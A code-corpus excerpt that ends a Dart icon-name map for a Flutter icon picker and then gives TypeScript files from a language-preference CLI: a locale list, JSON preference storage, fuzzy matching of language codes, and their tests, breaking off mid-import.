const IconData(0xf651, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comments_dollar':
const IconData(0xf653, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cross':
const IconData(0xf654, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dharmachakra':
const IconData(0xf655, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'envelope_open_text':
const IconData(0xf658, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'folder_minus':
const IconData(0xf65d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'folder_plus':
const IconData(0xf65e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'funnel_dollar':
const IconData(0xf662, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gopuram':
const IconData(0xf664, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hamsa':
const IconData(0xf665, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'haykal':
const IconData(0xf666, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'jedi':
const IconData(0xf669, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'journal_of_the_whills':
const IconData(0xf66a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kaaba':
const IconData(0xf66b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'khanda':
const IconData(0xf66d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'landmark':
const IconData(0xf66f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mail_bulk':
const IconData(0xf674, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'menorah':
const IconData(0xf676, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mosque':
const IconData(0xf678, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'om':
const IconData(0xf679, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pastafarianism':
const IconData(0xf67b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'peace':
const IconData(0xf67c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'place_of_worship':
const IconData(0xf67f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'poll':
const IconData(0xf681, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'poll_h':
const IconData(0xf682, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pray':
const IconData(0xf683, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'praying_hands':
const IconData(0xf684, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'quran':
const IconData(0xf687, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'search_dollar':
const IconData(0xf688, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'search_location':
const IconData(0xf689, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'socks':
const IconData(0xf696, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_square_root':
const IconData(0xf698, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star_and_crescent':
const IconData(0xf699, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star_of_david':
const IconData(0xf69a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'synagogue':
const IconData(0xf69b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'the_red_yeti':
const IconData(0xf69d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'torah':
const IconData(0xf6a0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'torii_gate':
const IconData(0xf6a1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vihara':
const IconData(0xf6a7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'volume_mute':
const IconData(0xf6a9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yin_yang':
const IconData(0xf6ad, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'acquisitions_incorporated':
const IconData(0xf6af, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'blender_phone':
const IconData(0xf6b6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'book_of_the_dead':
const IconData(0xf6b7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'campground':
const IconData(0xf6bb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cat':
const IconData(0xf6be, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chair':
const IconData(0xf6c0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloud_with_moon':
const IconData(0xf6c3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloud_with_sun':
const IconData(0xf6c4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'critical_role':
const IconData(0xf6c9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'd_d_beyond':
const IconData(0xf6ca, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dev':
const IconData(0xf6cc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice_d20':
const IconData(0xf6cf, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice_d6':
const IconData(0xf6d1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dog':
const IconData(0xf6d3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dragon':
const IconData(0xf6d5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'drumstick_with_bite_taken_out':
const IconData(0xf6d7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dungeon':
const IconData(0xf6d9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fantasy_flight_games':
const IconData(0xf6dc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_csv':
const IconData(0xf6dd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'raised_fist':
const IconData(0xf6de, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ghost':
const IconData(0xf6e2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hammer':
const IconData(0xf6e3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hanukiah':
const IconData(0xf6e6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wizard_s_hat':
const IconData(0xf6e8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hiking':
const IconData(0xf6ec, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hippo':
const IconData(0xf6ed, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'horse':
const IconData(0xf6f0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'damaged_house':
const IconData(0xf6f1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hryvnia':
const IconData(0xf6f2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mask':
const IconData(0xf6fa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mountain':
const IconData(0xf6fc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wired_network':
const IconData(0xf6ff, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'otter':
const IconData(0xf700, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'penny_arcade':
const IconData(0xf704, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ring':
const IconData(0xf70b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'running':
const IconData(0xf70c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'scroll':
const IconData(0xf70e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'skull___crossbones':
const IconData(0xf714, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'slash':
const IconData(0xf715, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'spider':
const IconData(0xf717, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'toilet_paper':
const IconData(0xf71e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tractor':
const IconData(0xf722, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_injured':
const IconData(0xf728, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cardboard_vr':
const IconData(0xf729, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wind':
const IconData(0xf72e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wine_bottle':
const IconData(0xf72f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wizards_of_the_coast':
const IconData(0xf730, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'think_peaks':
const IconData(0xf731, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloud_with__a_chance_of__meatball':
const IconData(0xf73b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloud_with_moon_and_rain':
const IconData(0xf73c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloud_with_rain':
const IconData(0xf73d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloud_with_heavy_showers':
const IconData(0xf740, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloud_with_sun_and_rain':
const IconData(0xf743, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'democrat':
const IconData(0xf747, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'united_states_of_america_flag':
const IconData(0xf74d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'meteor':
const IconData(0xf753, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'person_entering_booth':
const IconData(0xf756, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'poo_storm':
const IconData(0xf75a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rainbow':
const IconData(0xf75b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'reacteurope':
const IconData(0xf75d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'republican':
const IconData(0xf75e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'smog':
const IconData(0xf75f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'high_temperature':
const IconData(0xf769, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'low_temperature':
const IconData(0xf76b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vote_yea':
const IconData(0xf772, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'water':
const IconData(0xf773, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'adobe':
const IconData(0xf778, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'artstation':
const IconData(0xf77a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'atlassian':
const IconData(0xf77b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'baby':
const IconData(0xf77c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'baby_carriage':
const IconData(0xf77d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'biohazard':
const IconData(0xf780, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'blog':
const IconData(0xf781, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_with_day_focus':
const IconData(0xf783, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_with_week_focus':
const IconData(0xf784, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'canadian_maple_leaf':
const IconData(0xf785, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'candy_cane':
const IconData(0xf786, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'carrot':
const IconData(0xf787, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cash_register':
const IconData(0xf788, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'centos':
const IconData(0xf789, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_compress_arrows':
const IconData(0xf78c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'confluence':
const IconData(0xf78d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dhl':
const IconData(0xf790, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'diaspora':
const IconData(0xf791, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dumpster':
const IconData(0xf793, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dumpster_fire':
const IconData(0xf794, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ethernet':
const IconData(0xf796, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fedex':
const IconData(0xf797, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fedora':
const IconData(0xf798, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'figma':
const IconData(0xf799, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gifts':
const IconData(0xf79c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'glass_cheers':
const IconData(0xf79f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'glass_whiskey':
const IconData(0xf7a0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'globe_with_europe_shown':
const IconData(0xf7a2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grip_lines':
const IconData(0xf7a4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grip_lines_vertical':
const IconData(0xf7a5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'guitar':
const IconData(0xf7a6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'heart_broken':
const IconData(0xf7a9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'holly_berry':
const IconData(0xf7aa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'horse_head':
const IconData(0xf7ab, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'icicles':
const IconData(0xf7ad, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'igloo':
const IconData(0xf7ae, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'intercom':
const IconData(0xf7af, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'invision':
const IconData(0xf7b0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'jira':
const IconData(0xf7b1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mendeley':
const IconData(0xf7b3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mitten':
const IconData(0xf7b5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mug_hot':
const IconData(0xf7b6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'radiation':
const IconData(0xf7b9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_radiation':
const IconData(0xf7ba, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'raspberry_pi':
const IconData(0xf7bb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'redhat':
const IconData(0xf7bc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'restroom':
const IconData(0xf7bd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'satellite':
const IconData(0xf7bf, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'satellite_dish':
const IconData(0xf7c0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sd_card':
const IconData(0xf7c2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sim_card':
const IconData(0xf7c4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'skating':
const IconData(0xf7c5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sketch':
const IconData(0xf7c6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'skiing':
const IconData(0xf7c9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'skiing_nordic':
const IconData(0xf7ca, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sleigh':
const IconData(0xf7cc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sms':
const IconData(0xf7cd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'snowboarding':
const IconData(0xf7ce, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'snowman':
const IconData(0xf7d0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'snowplow':
const IconData(0xf7d2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sourcetree':
const IconData(0xf7d3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'suse':
const IconData(0xf7d6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tenge':
const IconData(0xf7d7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'toilet':
const IconData(0xf7d8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tools':
const IconData(0xf7d9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tram':
const IconData(0xf7da, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ubuntu':
const IconData(0xf7df, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ups':
const IconData(0xf7e0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'united_states_postal_service':
const IconData(0xf7e1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yarn':
const IconData(0xf7e3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_fire':
const IconData(0xf7e4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bacon':
const IconData(0xf7e5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medical_book':
const IconData(0xf7e6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bread_slice':
const IconData(0xf7ec, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cheese':
const IconData(0xf7ef, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medical_clinic':
const IconData(0xf7f2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_medical_chat':
const IconData(0xf7f5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'crutch':
const IconData(0xf7f7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'egg':
const IconData(0xf7fb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hamburger':
const IconData(0xf805, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_with_middle_finger_raised':
const IconData(0xf806, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hard_hat':
const IconData(0xf807, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hot_dog':
const IconData(0xf80f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ice_cream':
const IconData(0xf810, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laptop_medical':
const IconData(0xf812, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pager':
const IconData(0xf815, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hot_pepper':
const IconData(0xf816, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pizza_slice':
const IconData(0xf818, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'trash_restore':
const IconData(0xf829, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternative_trash_restore':
const IconData(0xf82a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'nurse':
const IconData(0xf82f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'airbnb':
const IconData(0xf834, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'battle_net':
const IconData(0xf835, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bootstrap':
const IconData(0xf836, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'buffer':
const IconData(0xf837, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chromecast':
const IconData(0xf838, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'evernote':
const IconData(0xf839, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'itch_io':
const IconData(0xf83a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'salesforce':
const IconData(0xf83b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'speaker_deck':
const IconData(0xf83c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'symfony':
const IconData(0xf83d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'square_wave':
const IconData(0xf83e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'waze':
const IconData(0xf83f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yammer':
const IconData(0xf840, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'git_alt':
const IconData(0xf841, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stackpath':
const IconData(0xf842, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'biking':
const IconData(0xf84a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'border_all':
const IconData(0xf84c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'border_none':
const IconData(0xf850, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'border_style':
const IconData(0xf853, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fan':
const IconData(0xf863, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'icons':
const IconData(0xf86d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_phone':
const IconData(0xf879, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_phone_square':
const IconData(0xf87b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'photo_video':
const IconData(0xf87c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'remove_format':
const IconData(0xf87d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sort_alphabetical_down':
const IconData(0xf881, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sort_alphabetical_up':
const IconData(0xf882, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sort_amount_down':
const IconData(0xf884, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sort_amount_up':
const IconData(0xf885, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sort_numeric_down':
const IconData(0xf886, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sort_numeric_up':
const IconData(0xf887, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'spell_check':
const IconData(0xf891, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'voicemail':
const IconData(0xf897, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cotton_bureau':
const IconData(0xf89e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'buy_n_large':
const IconData(0xf8a6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cowboy_hat':
const IconData(0xf8c0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cowboy_hat_side':
const IconData(0xf8c1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'material_design_for_bootstrap':
const IconData(0xf8ca, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mouse':
const IconData(0xf8cc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'orcid':
const IconData(0xf8d2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'record_vinyl':
const IconData(0xf8d9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'swift':
const IconData(0xf8e1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'umbraco':
const IconData(0xf8e8, fontFamily: _kFontFam, fontPackage: _kFontPackage)
};
|
b53e7f11c64715f311c8b8c1984183f01b179b5e
|
[
"Dart",
"YAML"
] | 5 |
Dart
|
3g015st/FlutterIconPicker
|
bdf6e519ca7e4f475b84e91217e6ebfd88e69bd4
|
c4209ef707c36869d7066f6785499c5d9fd63ba5
|
refs/heads/develop
|
<file_sep>export default [
'af',
'ar',
'az',
'bas-CM',
'be-BY',
'bg',
'bn-BD',
'bn-IN',
'bs',
'ca',
'cs',
'cy',
'da',
'de',
'de-AT',
'de-IN',
'el',
'en',
'eo',
'es',
'et',
'eu',
'fa',
'fi',
'fr',
'gl',
'he',
'hi-IN',
'hr',
'hu',
'id',
'it',
'ja',
'ka-GE',
'kg',
'km',
'ko',
'ku',
'ln',
'lo',
'lt',
'lv',
'mn',
'ms-MY',
'nl',
'no',
'pl',
'pt',
'pt-BR',
'ro',
'ru',
'si',
'sk-SK',
'sl-SI',
'sq',
'sr',
'sv',
'ta-IN',
'th-TH',
'tr',
'ug',
'uk',
'vi-VN',
'zh',
'zh-HK',
'zh-TW',
];
<file_sep>export * from './storage/preferences-storage';
export * from './preferences';
export * from './errors';
<file_sep>import * as fs from 'fs-extra'
export interface IFileSystem {
readJSON(path: string): Promise<unknown[] | Record<string, unknown>>
writeJSON(path: string, object: any): Promise<void>
}
export class FileSystem implements IFileSystem {
readJSON(path: string) {
return fs.readJSON(path)
}
writeJSON(path: string, object: any) {
return fs.writeJSON(path, object)
}
}
<file_sep>import * as path from 'path'
import assert from 'assert'
import { FileSystem, IFileSystem } from './file-system'
export interface IPreferencesStorage {
get(key: string): Promise<string>
set(key: string, value: string): Promise<void>
configDirectory: string
}
export class PreferencesStorage implements IPreferencesStorage {
private configFilePath = ''
private configObject: Record<string, string> = {}
private configObjectWasLoaded = false
constructor(private fs: IFileSystem = new FileSystem()) {
//
}
set configDirectory(directory: string) {
this.configFilePath = path.join(directory, 'config.json')
}
async get(key: string): Promise<string> {
this.assertConfigFilePathIsDefined()
await this.getConfigObject()
return this.configObject[key]
}
async set(key: string, value: string): Promise<void> {
this.assertConfigFilePathIsDefined()
await this.getConfigObject()
this.configObject[key] = value
await this.writeConfigToFileSystem()
}
private async getConfigObject() {
if (this.configObjectWasLoaded) {
return
}
await this.loadConfigObject()
this.configObjectWasLoaded = true
}
private async loadConfigObject() {
try {
this.configObject = (await this.fs.readJSON(
this.configFilePath
)) as Record<string, string>
} catch (error) {
await this.handleReadJSONError(error)
}
}
private async handleReadJSONError(error: any) {
const configFileNotFound = error.code === 'ENOENT'
if (configFileNotFound) {
await this.createEmptyConfigFile()
} else {
throw error
}
}
private async createEmptyConfigFile() {
await this.fs.writeJSON(this.configFilePath, {})
this.configObject = {}
}
private async writeConfigToFileSystem() {
await this.fs.writeJSON(this.configFilePath, this.configObject)
}
private assertConfigFilePathIsDefined() {
assert(this.configFilePath, 'Config file path is not defined')
}
}
export class MockPreferenceStorage implements IPreferencesStorage {
configDirectory = ''
private preferencesObject: { [key: string]: string } = {}
async get(key: string): Promise<string> {
return this.preferencesObject[key]
}
async set(key: string, value: string): Promise<void> {
this.preferencesObject[key] = value
}
clear(): void {
this.preferencesObject = {}
}
}
<file_sep>import sinon, { SinonSpy } from 'sinon';
import { expect, fancy } from 'fancy-test';
import { PreferencesStorage } from './preferences-storage';
import { IFileSystem } from './file-system';
let storage: PreferencesStorage;
let fileSystem: MockFileSystem;
let writeSpy: SinonSpy;
class MockFileSystem implements IFileSystem {
async readJSON(): Promise<any> {
//
}
async writeJSON(_: string, __: any) {
//
}
}
function setup() {
fileSystem = new MockFileSystem();
storage = new PreferencesStorage(fileSystem);
writeSpy = sinon.spy(fileSystem, 'writeJSON');
storage.configDirectory = 'mock/path';
}
const test = fancy.do(setup);
describe('PreferencesStorage', () => {
test.it('should read JSON from file system', async () => {
sinon.stub(fileSystem, 'readJSON').resolves({ lang: 'pt-BR' });
const value = await storage.get('lang');
expect(value).to.equal('pt-BR');
});
test.it('should call write JSON on set', async () => {
sinon.stub(fileSystem, 'readJSON').resolves({});
await storage.set('lang', 'en-US');
expect(writeSpy.firstCall.lastArg).to.eql({ lang: 'en-US' });
});
test.it(
'should create an empy JSON file if one does not exist yet',
async () => {
sinon.stub(fileSystem, 'readJSON').throws({ code: 'ENOENT' });
await storage.get('lang');
expect(writeSpy.firstCall.lastArg).to.eql({});
},
);
});
<file_sep>export * from './invalid-value-for-preference.error';
<file_sep>import Fuse from 'fuse.js';
export interface IFuzzyFinder {
search<T extends string>(items: T[], query: string): T | undefined
}
export class FuzzyFinder implements IFuzzyFinder {
search<T extends string>(items: T[], query: string): T | undefined {
const fuzzy = new Fuse(items, { includeScore: true });
const matches = fuzzy.search(query);
return matches[0]?.item;
}
}
<file_sep>import { container } from 'tsyringe';
import { IPreferencesStorage, PreferencesStorage } from '../modules/preferences';
import { FuzzyFinder, IFuzzyFinder } from '../modules/i18n/fuzzy-finder';
function registerSingletons(): void {
container.register<IFuzzyFinder>('FuzzyFinder', FuzzyFinder);
// Don't register the singletons below in test environment
if (process.env.NODE_ENV === 'test') {
return;
}
container.registerSingleton<IPreferencesStorage>(
'PreferencesStorage',
PreferencesStorage,
);
}
export default registerSingletons;
<file_sep>import chai from 'chai'
import chaiAsPromised from 'chai-as-promised'
import 'reflect-metadata'
process.env.NODE_ENV = 'test'
chai.use(chaiAsPromised)
<file_sep>import { Preference } from '../preferences';
export class InvalidValueForPreferenceError extends Error {
constructor(public preference: Preference, public suggestion?: string) {
super(`Tried to set an invalid value for preference ${ preference }`);
}
}
<file_sep>import { expect, test } from '@oclif/test';
import { container } from 'tsyringe';
import {
IPreferencesStorage,
MockPreferenceStorage,
} from '../modules/preferences/storage/preferences-storage';
container.registerSingleton<IPreferencesStorage>(
'PreferencesStorage',
MockPreferenceStorage,
);
const storage: MockPreferenceStorage = container.resolve('PreferencesStorage');
const setup = test.do(() => storage.clear());
describe('config command', () => {
setup
.stdout()
.command(['config', 'lang'])
.it('should complain if no value is set', (ctx) => {
expect(ctx.stdout).to.contain("No value is set for the 'lang' key");
expect(ctx.stdout).to.contain(
'To set one, run $ lantoo config lang <<value>>',
);
});
setup
.do(() => storage.set('lang', 'pt-BR'))
.stdout()
.command(['config', 'lang'])
.it('should retrieve a value from the storage if there is one', (ctx) => {
expect(ctx.stdout).to.contain('pt-BR');
});
setup
.stdout()
.command(['config', 'lang', 'pt-BR'])
.it(
'should set the language value to pt-BR in the storage',
async (ctx) => {
const lang = await storage.get('lang');
expect(ctx.stdout).to.be.empty;
expect(lang).to.equal('pt-BR');
},
);
setup
.stdout()
.command(['config', 'lang', 'dragonforce'])
.it('should complain if you pass an invalid language', async (ctx) => {
expect(ctx.stdout).to.include(
"❌ 'dragonforce' is not a valid ISO 632-9 language code",
);
});
setup
.stdout()
.command(['config', 'lang', 'pt-br'])
.it(
'should fix the casing when you pass a valid language with wrong casing',
async (ctx) => {
const lang = await storage.get('lang');
expect(ctx.stdout).to.be.empty;
expect(lang).to.equal('pt-BR');
},
);
setup
.stdout()
.command(['config', 'lang', 'pt-nr'])
.it('should give you a suggestion when you make a typo', async (ctx) => {
expect(ctx.stdout).to.include(
"❌ 'pt-nr' is not a valid ISO 632-9 language code",
);
expect(ctx.stdout).to.include("Did you mean 'pt-BR'?");
});
});
<file_sep>import { inject, injectable } from 'tsyringe';
import { FuzzyFinder } from './fuzzy-finder';
